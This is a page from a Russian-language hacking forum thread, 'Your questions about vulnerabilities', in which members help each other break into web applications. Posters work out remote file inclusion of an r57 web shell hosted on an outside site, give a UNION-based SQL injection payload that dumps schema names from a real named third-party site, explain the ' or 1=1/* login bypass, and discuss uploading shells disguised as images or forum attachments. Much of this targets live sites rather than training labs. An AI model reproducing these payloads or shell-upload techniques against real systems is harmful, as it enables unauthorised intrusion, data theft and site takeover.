Ваши вопросы по уязвимостям.

Discussion in 'Уязвимости' started by darky, 4 Aug 2007.

Thread Status:
Not open for further replies.
  1. NZT

    NZT New Member

    Joined:
    31 Dec 2011
    Messages:
    25
    Likes Received:
    1
    Reputations:
    0
    У меня в .htaccess записано #php_flag allow_url_include on , ведь так должно быть ? А не работает . Даже не знаю что делать (

    Делал и так :
    HTML:
    +Q. SQL Injection wont work on PHP version 5.2.6.
    
    -A.If you are using PHP version 5.2.6 you will need to do the following in order for SQL injection and other vulnerabilities to work.
    
    In .htaccess:
    
    	Replace:
    
    	<IfModule mod_php5.c>
    	php_flag magic_quotes_gpc off
    	#php_flag allow_url_fopen on
    	#php_flag allow_url_include on
    	</IfModule>
    
    	With:
    
    	<IfModule mod_php5.c>
    	magic_quotes_gpc = Off
    	allow_url_fopen = On
    	allow_url_include = On
    	</IfModule>
    Тоже не помогает.
     
    #19121 NZT, 27 Jan 2012
    Last edited: 27 Jan 2012
  2. Чакэ

    Чакэ Elder - Старейшина

    Joined:
    15 Aug 2010
    Messages:
    260
    Likes Received:
    66
    Reputations:
    62
    а что дальше происходит с $file? или это весь код?
     
  3. NZT

    NZT New Member

    Joined:
    31 Dec 2011
    Messages:
    25
    Likes Received:
    1
    Reputations:
    0
    Это весь код , и этот код лежит в папке fi/source/low.php а просто в папке fi лежит index.php и в нем длиный скрипт и внизу написано include($file); , может одно дополняет другое, я в php не очень силен )

    В Mutillidae у меня таже фигня не хочет открываться шелл. Я наверное что то не так сделал но не могу понять что.
    Если кому не лень скачать себе DVWA и проверить если у него таже фигня ? )
     
    #19123 NZT, 27 Jan 2012
    Last edited: 27 Jan 2012
  4. Чакэ

    Чакэ Elder - Старейшина

    Joined:
    15 Aug 2010
    Messages:
    260
    Likes Received:
    66
    Reputations:
    62
    # перед строкой означает начало комментария, то есть твои два правила не действуют. не всегда срабатывает включение в .htaccess и нужно править основной php.ini сервера.
     
  5. NZT

    NZT New Member

    Joined:
    31 Dec 2011
    Messages:
    25
    Likes Received:
    1
    Reputations:
    0
    в php.ini записано allow_url_include on.
    У меня в двух сайтах для тренировок не получается.
    Наверное я что то не так делаю, может сервер на котором у меня шелл не тот ? сервер - holm.ru
    Но там же ничего сложного нет просто после = пишешь адресс к шеллу без расширения и все?
    Если я пишу mysite.ru/shell.php то шелл открывается , значит шелл нормальный.
    Я все делаю как я описал выше, в чем может быть проблема? Мне вместо шелла выдаются ошибки. Кто то у себя на DVWA пробовал ? работает?
     
  6. Чакэ

    Чакэ Elder - Старейшина

    Joined:
    15 Aug 2010
    Messages:
    260
    Likes Received:
    66
    Reputations:
    62
    тот php.ini что в папке у тебя не действует из-за того что у «главного» php.ini эти флаги стоят в off, а для вебсервера «главный» приоритетней твоего. это лишь моя теория, может быть дело совсем в другом..
     
  7. NZT

    NZT New Member

    Joined:
    31 Dec 2011
    Messages:
    25
    Likes Received:
    1
    Reputations:
    0
    Думаю ты прав потому что в файле php про который я говорил не написано после php точка ini и тип у него "парметры конфигурации" и в нем записано ; This file attempts to overwrite the original php.ini file. Doesnt always work. Дело в том что я не нашел другого php.ini , как я посмотрел там его просто нет. Не подскажешь случайно где его найти или надо свой создать? И если создавать то что в него вписать надо?
    Извеняюсь за столько вопросов , если засоряю тему , просто очень хочеться чтобы у меня получилась php injection. Спасибо за ответы.
     
  8. trololoman96

    trololoman96 Elder - Старейшина

    Joined:
    1 Dec 2011
    Messages:
    120
    Likes Received:
    34
    Reputations:
    55
    Чакэ, вообще должно быть наоборот) иначе просто незачем было бы вводить эти дериктивы в .htaccess если php.ini все равно делает по своему.

    NZT, у тебя не получается просто потому что ты делаешь не правильно. Ты пытаешься заинклудить http://msp.hut4.ru/r57shell а его у тебя на хостинге нет, даже если будешь вводить http://msp.hut4.ru/r57shell.php то тоже ничего не получится, ибо отдать тебе будет не сам php код шела а уже сгенерированный html. Тут выше уже писали, http://msp.hut4.ru/r57shell.txt должен прокатить, только предварительно залей этот файл.
     
  9. NZT

    NZT New Member

    Joined:
    31 Dec 2011
    Messages:
    25
    Likes Received:
    1
    Reputations:
    0
    C .txt? тоже ничего не получается. Я залил shell.php и shell.txt в папку www, туда их надо заливать? И почему shell.php не будет работать , вот зайди http://msp.hut4.ru/r57shell.php или http://msp.hut4.ru/r57shell.txt , все работает , или то что мне показывает это сгенерированый html? Я скорее всего не правильно заливаю на сервер как ты говоришь. Я заливаю через total commander в папку www сайта. А как надо? И спасибо тебе за желание помочь.
     
  10. trololoman96

    trololoman96 Elder - Старейшина

    Joined:
    1 Dec 2011
    Messages:
    120
    Likes Received:
    34
    Reputations:
    55
    php на сервере интерпретируется (если там конечно есть поддержка php) , и отдает на уже ответ а не исходник самого шела, ты же когда инклудишь тебе нужен именно код, почитай http://php.su/functions/?include

    так и нужно, тогда нужно искать проблему с конфигурацией сервера, сервер после изменений в php.ini перезагружал ? В .htaccess коментарии поубирал как и говорилось выше ?
     
  11. Brain_Enable

    Brain_Enable New Member

    Joined:
    26 Jan 2012
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    Вставлю и я свои 3 копейки:)
    http://www.cmdhelp.ru/index.php?cmd=TelnetClient_send_telnet_commands'+union+select+SCHEMA_NAME+from+information_schema.SCHEMATA'
    Ругается на точку между именем базы и таблицей. Пробовал и чаром и конкатенацией, и хекс\анхекс, но ничего не помогает.
    Я думаю, что это мускул ругается на точку, так как точно знаю, что она нормально проходит и отображается, если сделать так:
    http://www.cmdhelp.ru/index.php?cmd=TelnetClient_send_telnet_commands'+union+select+CHAR(46)'
    Я тут совсем недавно, может быть что-то не понимаю? Пробовал поиск по форуму, но ничего аналогичного не нашел.
     
  12. Чакэ

    Чакэ Elder - Старейшина

    Joined:
    15 Aug 2010
    Messages:
    260
    Likes Received:
    66
    Reputations:
    62
    текст ошибки лучше покажи.

    trololoman96, ну да, ты прав в этом, но как там и написано
     
  13. Brain_Enable

    Brain_Enable New Member

    Joined:
    26 Jan 2012
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    Когда пишу точку, говорит:
    Warning: mysql_fetch_row() expects parameter 1 to be resource, boolean given in /home/flash/cmdhelp.ru/index.php on line 19
    Без точки нормально все получается, имею ввиду не конкретно этот запрос.
     
  14. Чакэ

    Чакэ Elder - Старейшина

    Joined:
    15 Aug 2010
    Messages:
    260
    Likes Received:
    66
    Reputations:
    62
    это не на точку ругается. ты не туда смотришь..

    HTML:
    http://www.cmdhelp.ru/index.php?cmd='+union+select+concat_ws(0x3a,table_schema,table_name,column_name)+from+information_schema.columns+where+table_schema!='information_schema'+limit+0,1--+
    далее 44 раза инкрементишь цифру 0. ну ты понел.. и ещё кажется там lfi
     
  15. Киев

    Киев Banned

    Joined:
    9 Aug 2011
    Messages:
    19
    Likes Received:
    8
    Reputations:
    4
    Привет всем.
    каким должен быть запрос при авторизации чтоб это - ' or 1=1/* ))) прокатило ?
     
  16. Brain_Enable

    Brain_Enable New Member

    Joined:
    26 Jan 2012
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    Не работает. После того как скопировал, пробелы(которые форум добавляет) естественно убрал:)
    Почему названия столбцов разделяются двоеточием, а не запятой?
    Вы сами пробовали этот код?
     
  17. Юго

    Юго Member

    Joined:
    2 Feb 2011
    Messages:
    0
    Likes Received:
    77
    Reputations:
    17
    Примерно таким:
    $mysql_query="SELECT * FROM prefix_users WHERE username=' ".$username." ' and password='".$password.'";

    Тогда при вставке твоего кода получается:
    $mysql_query="SELECT * FROM prefix_users WHERE username=' ' or 1=1/*" ' and password='".$password."';
    То есть если нет пользователя с пустым именем, то извлекается первый попавшийся пользователь.
     
  18. justonline

    justonline network ninja

    Joined:
    27 Jul 2011
    Messages:
    499
    Likes Received:
    60
    Reputations:
    53
    есть где почитать подробнее про заливку шела через картинку?
    просто загнать шелл.пхп не получается..сначало резало js...потом я скрипт этот выпилил и теперь режет с серверной стороны.
    переименовал шелл в шелл.пхп.жпг, получил в аватарку себе -
    [​IMG]
    жду советов :)
     
  19. alerondel

    alerondel Member

    Joined:
    20 Apr 2011
    Messages:
    165
    Likes Received:
    9
    Reputations:
    6
    Justonline
    Возможно ты залил картинку,посмотри firebug'ом или в исходном коде путь картинки и запускай шелл.

    PS:Народ форум IPB,можно ли через attachments как нибудь залить шелл?Мне просто интересно,доступно прикрепление файлов всех форматов,а вот по ссылке предлагает скачать..как узнать где хранится прикрепленный файл на сервере форума именно в том формате какой я залил? Или это не работает?

    Установить форум и проверить нет возможности,поэтому прошу знатоков)
     
  20. Чакэ

    Чакэ Elder - Старейшина

    Joined:
    15 Aug 2010
    Messages:
    260
    Likes Received:
    66
    Reputations:
    62
    товарисч, иди кури маны. тоже мне хацкир..
     
Thread Status:
Not open for further replies.